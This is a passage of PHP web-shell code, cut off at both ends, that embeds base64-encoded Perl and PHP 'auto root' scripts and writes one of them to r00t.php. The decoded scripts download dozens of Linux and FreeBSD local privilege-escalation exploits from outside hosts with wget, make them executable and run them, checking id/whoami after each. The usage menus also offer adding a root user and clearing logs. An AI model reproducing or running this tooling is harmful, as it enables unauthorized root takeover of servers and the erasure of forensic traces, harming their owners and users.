QgNzc3IDIuNi4zNC0yMDExIik7IA0Kc3lzdGVtKCIuLzIuNi4zNC0yMDExIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMzciKTsgDQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzciKTsgDQpzeXN0ZW0oIi4vMi42LjM3Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMzdyYzIiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzdyYzIiKTsgDQpzeXN0ZW0oIi4vMi42LjM3cmMyIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMzctcmMyIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjM3LXJjMiIpOyANCnN5c3RlbSgiLi8yLjYuMzctcmMyIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMzktMjAxMSIpOyANCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zOS0yMDExIik7IA0Kc3lzdGVtKCIuLzIuNi4zOS0yMDExIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMzktMjAxMS0yMDEyIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjM5LTIwMTEtMjAxMiIpOyANCnN5c3RlbSgiLi8yLjYuMzktMjAxMS0yMDEyIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYueCIpOyANCnN5c3RlbSgiY2htb2QgNzc3IDIuNi54Iik7IA0Kc3lzdGVtKCIuLzIuNi54Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8xNSIpOyANCnN5c3RlbSgiY2htb2QgNzc3IDE1Iik7IA0Kc3lzdGVtKCIuLzE1Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yMDEwLTEiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyAyMDEwLTEiKTsgDQpzeXN0ZW0oIi4vMjAxMC0xIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9hYiIpOyANCnN5c3RlbSgiY2htb2QgNzc3IGFiIik7IA0Kc3lzdGVtKCIuL2FiIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9jIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgYyIpOyANCnN5c3RlbSgiLi9jIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9lbDVpMzg2Iik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgZWw1aTM4NiIpOyANCnN5c3RlbSgiLi9lbDVpMzg2Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9lbDV4ODYiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyBlbDV4ODYiKTsgDQpzeXN0ZW0oIi4vZWw1eDg2Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9lbGZsYmwiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyBlbGZsYmwiKTsgDQpzeXN0ZW0oIi4vZWxmbGJsIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9leHAxIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgZXhwMSIpOyANCnN5c3RlbSgiLi9leHAxIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9leHAyIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgZXhwMiIpOyANCnN5c3RlbSgiLi9leHAyIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9leHAzIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgZXhwMyIpOyANCnN5c3RlbSgiLi9leHAzIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9leHBsb2l0Iik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgZXhwbG9pdCIpOyANCnN5c3RlbSgiLi9leHBsb2l0Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9leHBsb2l0MiIpOyANCnN5c3RlbSgiY2htb2QgNzc3IGV4cGxvaXQyIik7IA0Kc3lzdGVtKCIuL2V4cGxvaXQyIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9mcm9vdCIpOyANCnN5c3RlbSgiY2htb2QgNzc3IGZyb290Iik7IA0Kc3lzdGVtKCIuL2Zyb290Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9nbGliYyIpOyANCnN5c3RlbSgiY2htb2QgNzc3IGdsaWJjIik7IA0Kc3lzdGVtKCIuL2dsaWJjIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9pc2tvcnBpdHgiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyBpc2tvcnBpdHgiKTsgDQpzeXN0ZW0oIi4vaXNrb3JwaXR4Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9qZXNzaWNhMiIpOyANCnN5c3RlbSgiY2htb2QgNzc3IGplc3NpY2EyIik7IA0Kc3lzdGVtKCIuL2plc3NpY2EyIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9wa2V4ZWMiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyBwa2V4ZWMiKTsgDQpzeXN0ZW0oIi4vcGtleGVjIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9yZHMtZXhwbG9pdCIpOyANCnN5c3RlbSgiY2htb2QgNzc3IHJkcy1leHBsb2l0Iik7IA0Kc3lzdGVtKCIuL3Jkcy1leHBsb2l0Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC92bXNwbGljZSIpOyANCnN5c3RlbSgiY2htb2QgNzc3IHZtc3BsaWNlIik7IA0Kc3lzdGVtKCIuL3Ztc3BsaWNlIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC94cGxTVVBFUiIpOyANCnN5c3RlbSgiY2htb2QgNzc3IHhwbFNVUEVSIik7IA0Kc3lzdGVtKCIuL3hwbFNVUEVSIik7IA0Kc2xlZXAoMSk7IA0KcHJpbnQoIlsrXSBhbGwgbG54IHhwbCdzIHRlc3RlZHMhIGV4aXRpbmchXG4iKTsgDQpzeXN0ZW0oImlkIik7IA0KZXhpdCgwKTsgDQp9IA0KZWxzZWlmKCRrZXJuZWwgPT0gImJzZCIpIA0KeyANCnByaW50ICJ8LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS0tLS0tLS18XG4iOyANCnByaW50ICJ8UEhQIEF1dG8gUm9vdCBieSBNYXVyaXRhbmlhIEF0dGFja2VyICAgICAgICAgICB8XG4iOyANCnByaW50ICJ8LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS0tLS0tLS18XG4iOyANCnByaW50ICJ8U2VsZWN0ZWQga2VybmVsIDogfEJTRC1hcnF8ICAgICAgICAgICAgICAgICAgICB8XG4iOyANCnByaW50ICJ8LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS0tLS0tLS18XG4iOyANCnNsZWVwKDIpOyANCnByaW50ICJcblsrXSBUZXN0aW5nIGJzZCB4cGwncyBwbGVhc2Ugd2FpdC5cbiI7IA0KcHJpbnQgIlt+XSBNZWFud2hpbGUgc21va2UgYSBjaWdhcmV0IFhEICg6XG4iOyANCnNsZWVwKDIpOyANCnN5c3RlbSgibWtkaXIgQlNEO2NkIGJzZC8iKTsgDQoNCnN5c3RlbSgid2dldCBodHRwOi8vMTg0LjIyLjIxOS41MC94cGwvRnJlZUJTRC82LjEtMDkuYyIpOyANCnN5c3RlbSgiZ2NjIC1vIDYuMS0wOSA2LjEtMDkuYyAtbHB0aHJlYWQiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyA2LjEtMDkiKTsgDQpzeXN0ZW0oIi4vNi4xLTA5Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9GcmVlQlNELzYuNCIpOyANCnN5c3RlbSgiY2htb2QgNzc3IDYuNCIpOyANCnN5c3RlbSgiLi82LjQiKTsgDQpzbGVlcCgxKTsgDQpzeXN0ZW0oIndnZXQgaHR0cDovLzE4NC4yMi4yMTkuNTAveHBsL0ZyZWVCU0QvNy4xLTA4LmMiKTsgDQpzeXN0ZW0oImdjYyAtbyA3LjEtMDggNy4xLTA4LmMgIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgNy4xLTA4Iik7IA0Kc3lzdGVtKCIuLzcuMS0wOCIpOyANCnNsZWVwKDEpOyANCnN5c3RlbSgid2dldCBodHRwOi8vMTg0LjIyLjIxOS41MC94cGwvRnJlZUJTRC8yMDEwIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgMjAxMCIpOyANCnN5c3RlbSgiLi8yMDEwIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9GcmVlQlNEL2Eub3V0Iik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgYS5vdXQiKTsgDQpzeXN0ZW0oIi4vYS5vdXQiKTsgDQpzbGVlcCgxKTsgDQpzeXN0ZW0oIndnZXQgaHR0cDovLzE4NC4yMi4yMTkuNTAveHBsL0ZyZWVCU0QvY2Via21vdW50Iik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgY2Via21vdW50Iik7IA0Kc3lzdGVtKCIuL2NlYmttb3VudCIpOyANCnNsZWVwKDEpOyANCnN5c3RlbSgid2dldCBodHRwOi8vMTg0LjIyLjIxOS41MC94cGwvRnJlZUJTRC9jdmUtMjAxMC0yNjkzIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgY3ZlLTIwMTAtMjY5MyIpOyANCnN5c3RlbSgiLi9jdmUtMjAxMC0yNjkzIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9GcmVlQlNELzYuMS0wOS5jIik7IA0Kc3lzdGVtKCJnY2MgLW8gNi4xLTA5IDYuMS0wOS5jIC1scHRocmVhZCIpOyANCnN5c3RlbSgiY2htb2QgNzc3IDYuMS0wOSIpOyANCnN5c3RlbSgiLi82LjEtMDkiKTsgDQpzbGVlcCgxKTsgDQpzeXN0ZW0oIndnZXQgaHR0cDovLzE4NC4yMi4yMTkuNTAveHBsL0ZyZWVCU0QvZnJlZTcuc2giKTsgDQpzeXN0ZW0oImNobW9kIDc3NyBmcmVlNy5zaCIpOyANCnN5c3RlbSgiLi9mcmVlNy5zaCIpOyANCnNsZWVwKDEpOyANCnN5c3RlbSgid2dldCBodHRwOi8vMTg0LjIyLjIxOS41MC94cGwvRnJlZUJTRC9sIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgbCIpOyANCnN5c3RlbSgiLi9sIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9GcmVlQlNEL21hc3RlciIpOyANCnN5c3RlbSgiY2htb2QgNzc3IG1hc3RlciIpOyANCnN5c3RlbSgiLi9tYXN0ZXIiKTsgDQpzbGVlcCgxKTsgDQpzeXN0ZW0oIndnZXQgaHR0cDovLzE4NC4yMi4yMTkuNTAveHBsL0ZyZWVCU0QvdzAwdC5zby4xLjAiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyB3MDB0LnNvLjEuMCIpOyANCnN5c3RlbSgiLi93MDB0LnNvLjEuMCIpOyANCmV4aXQoMCk7IA0KfSANCg0KLy9FT0ZfIA0KLy8yMDEzIA0KLy9Qcml2OCBWZXJzaW9uICANCg0KPz4=";
file_put_contents("r00t.php",base64_decode($rroter));
echo "<script>alert('Auto R00ting Created'); hideAll();</script>";
die();
}
elseif ( $pilih == 'rrot' ){
$perlrot = "IyEvdXNyL2Jpbi9wZXJsDQpwcmludCAiIz1bK109PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT1bK109I1xuIjsNCnByaW50ICJ8ICAgICAgICAgICAgICAgQXV0b3Jvb3QgQnkgR2FiYnkgICAgICAgICAgICAgICAgICB8XG4iOw0KcHJpbnQgInwgVGhhbmtzIHRvIDogWW9neWFjYXJkZXJsaW5rIC0gU3VyYWJheWEgQmxhY2toYXQgIHxcbiI7DQpwcmludCAifCAgICAgICAgICAgICAgIC0gVGhlIENyb3dzIENyZXcgLSAgICAgICAgICAgICAgICAgfFxuIjsNCnByaW50ICIjPT09PT09PT09PT09PT09PT09PT09WyBVc2FnZSBdPT09PT09PT09PT09PT09PT09PT0jXG4iOw0KcHJpbnQgInwgR2V0IFJvb3QgICAgICAgICA9IHBlcmwgJDAgcm9vdCAgICAgICAgICAgICAgIHxcbiI7DQpwcmludCAifCBDbGVhciBMb2NhbCBSb290ID0gcGVybCAkMCBkZWwgICAgICAgICAgICAgICAgfFxuIjsNCnByaW50ICJ8IEFkZCBVc2VyIFJvb3QgICAgPSBwZXJsICQwIGFkZCAgICAgICAgICAgICAgICB8XG4iOw0KcHJpbnQgInwgQ2xlYXIgTG9nICAgICAgICA9IHBlcmwgJDAgcm0gICAgICAgICAgICAgICAgIHxcbiI7DQpwcmludCAifD09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09fFxuIjsNCnByaW50ICJ8IENvbnRhY3QgTWUgOiBnYWJieVthdF10aGVjcm93c2NyZXcub3JnICAgICAgICAgICB8XG4iOw0KcHJpbnQgIiM9WytdPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVsrXSNcbiI7DQppZiAoJEFSR1ZbMF0gPX4gInJvb3QiICkgDQp7DQpwcmludCAiU2lhcGluIHJva29rIG1hIGtvcGkgZHVsdSBtYXMgbWJsbyA6UCBcbiI7DQpwcmludCAiT2ssLi4gTGV0cyBzdGFydC4uLiBTYXBhcmF0b3MgQmxhbmsuLi4uISEhIFxuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzEtMiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMS0yIik7DQpzeXN0ZW0oIi4vMS0yIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzEtMyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMS0zIik7DQpzeXN0ZW0oIi4vMS0zIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzEtNCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMS00Iik7DQpzeXN0ZW0oIi4vMS00Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4xOC0zNzQuMTIuMS5lbDUtMjAxMiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTM3NC4xMi4xLmVsNS0yMDEyIik7DQpzeXN0ZW0oIi4vMi42LjE4LTM3NC4xMi4xLmVsNS0yMDEyIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzEwIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxMCIpOw0Kc3lzdGVtKCIuLzEwIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzExIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxMSIpOw0Kc3lzdGVtKCIuLzExIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzEyIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxMiIpOw0Kc3lzdGVtKCIuLzEyIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAxNCIpOw0Kc3lzdGVtKCIuLzE0Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE1LnNoIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxNS5zaCIpOw0Kc3lzdGVtKCIuLzE1LnNoIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE1MTUwIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxNTE1MCIpOw0Kc3lzdGVtKCIuLzE1MTUwIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE1MjAwIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxNTIwMCIpOw0Kc3lzdGVtKCIuLzE1MjAwIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE2Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAxNiIpOw0Kc3lzdGVtKCIuLzE2Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE2LTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDE2LTEiKTsNCnN5c3RlbSgiLi8xNi0xIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE4Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAxOCIpOw0Kc3lzdGVtKCIuLzE4Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE4LTUiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDE4LTUiKTsNCnN5c3RlbSgiLi8xOC01Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIiKTsNCnN5c3RlbSgiLi8yIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzItMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi0xIik7DQpzeXN0ZW0oIi4vMi0xIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzItNi0zMi00Ni0yMDExIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLTYtMzItNDYtMjAxMSIpOw0Kc3lzdGVtKCIuLzItNi0zMi00Ni0yMDExIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzItNi0zNyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi02LTM3Iik7DQpzeXN0ZW0oIi4vMi02LTM3Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzItNi05LTIwMDUiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDItNi05LTIwMDUiKTsNCnN5c3RlbSgiLi8yLTYtOS0yMDA1Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzItNi05LTIwMDYiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDItNi05LTIwMDYiKTsNCnN5c3RlbSgiLi8yLTYtOS0yMDA2Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuMzQtMjAxMUV4cGxvaXQxIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLTYtOS0yMDA2Iik7DQpzeXN0ZW0oIi4vMi02LTktMjAwNiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjQuMjEtMjAwNiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi02LTktMjAwNiIpOw0Kc3lzdGVtKCIuLzItNi05LTIwMDYiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi40LjM2LjkyLjYuMjcuNSAtIDIwMDggTG9jYWwgcm9vdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi40LjM2LjkyLjYuMjcuNSAtIDIwMDggTG9jYWwgcm9vdCIpOw0Kc3lzdGVtKCIuLzIuNC4zNi45Mi42LjI3LjUgLSAyMDA4IExvY2FsIHJvb3QiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTE2NC0yMDEwIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMTgtMTY0LTIwMTAiKTsNCnN5c3RlbSgiLi8yLjYuMTgtMTY0LTIwMTAiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTE5NCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTE5NCIpOw0Kc3lzdGVtKCIuLzIuNi4xOC0xOTQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTE5NC4xLTIwMTAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0xOTQuMS0yMDEwIik7DQpzeXN0ZW0oIi4vMi42LjE4LTE5NC4xLTIwMTAiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTE5NC4yLTIwMTAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0xOTQuMi0yMDEwIik7DQpzeXN0ZW0oIi4vMi42LjE4LTE5NC4yLTIwMTAiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTI3NC0yMDExIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMTg